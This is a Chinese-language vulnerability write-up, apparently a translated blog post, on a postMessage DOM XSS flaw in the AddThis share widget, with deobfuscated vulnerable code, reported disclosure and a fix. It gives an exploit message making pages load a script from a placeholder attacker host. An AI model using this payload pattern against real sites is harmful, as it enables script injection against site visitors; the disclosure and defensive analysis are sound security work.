超过百万网站拥有postMessage XSS漏洞
超过百万网站拥有postMessage XSS漏洞。AddThis是一个被超过一百万网站使用的分享按钮。它们都在今年早些被发现有XSS漏洞。
当我在测试一个使用AddThis的网站的时候,通过Chrome的开发者工具,我发现它使用了postMessage。
为了看看它们是否有任何漏洞,我在Chrome开发者工具的listener中设置了一个断点,然后发送了一个消息“window.postMessage("hello", "*")“。
检查listener
除了那些orgin必须是HTTP/HTTPS的页面,代码并没有进行orgin检查。消息的预期格式可以在第5364行看到:
at-share-bookmarklet:DATA.postMessage
我继续debug,然后使用正确的格式发送了消息,使代码在5370行结束,调用了名为r的函数。它又调用了另一个名为s的函数。
S函数看起来很有趣。它看起来创建了一个新的元素(难道是DOM XSS?)
反混淆
为了理解这个函数到底干了什么,我通过命名变量和删除多行语句来解除混淆。
e.exports = function(messageData, t, n, s, u, isTrue) {if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called.var scriptTag = document.createElement("script");if("https:" === window.location.protocol){var isSecurePage = true;}else{var isSecurePage = false;}var protocol = "";var headElement = document.getElementsByTagName("head")[0];scriptTag.setAttribute("type", "text/javascript");scriptTag.setAttribute("async", "async");//Check if user is using Chrome/Safariif(window.chrome && window.chrome.self || window.safari && window.safari.extension){if(isSecurePage){protocol = "https";}else{protocol = "http";}//If the message data starts with "//", add protocol beforeif(0 === messageData.indexOf("//")){messageData = protocol + messageData;}}//If the message data starts with "//"if(0 === messageData.indexOf("//")){scriptTag.src = messageData;}else{scriptTag.src = protocol + "//s7.addthis.com/" + messageData;}headElement.insertBefore(scriptTag, headElement.firstChild);o[messageData] = 1;return scriptTag;}return 1;}
阅读了这个代码,我得出结论,发送格式化的消息如下:
at-share-bookmarklet://ATTACKERHOST/xss.js
它将添加一个新的脚本元素到源代码为“//ATTACKERDOMAIN/xss.js”的页面。换句话说,它有DOM XSS漏洞。
攻击者能够攻击任何使用了AddThis的网站(DOM XSS)。
我和AddThis的CTO接触了一下,他确定漏洞将会被很快修复然后推送到终端用户。修复增加了orgin检查以确保任意来源的消息不会被发送。
总结
总而言之,postMessage能够导致DOM XSS。如果你使用了第三方脚本,确保一定要检查它们和它们的postMessage实现。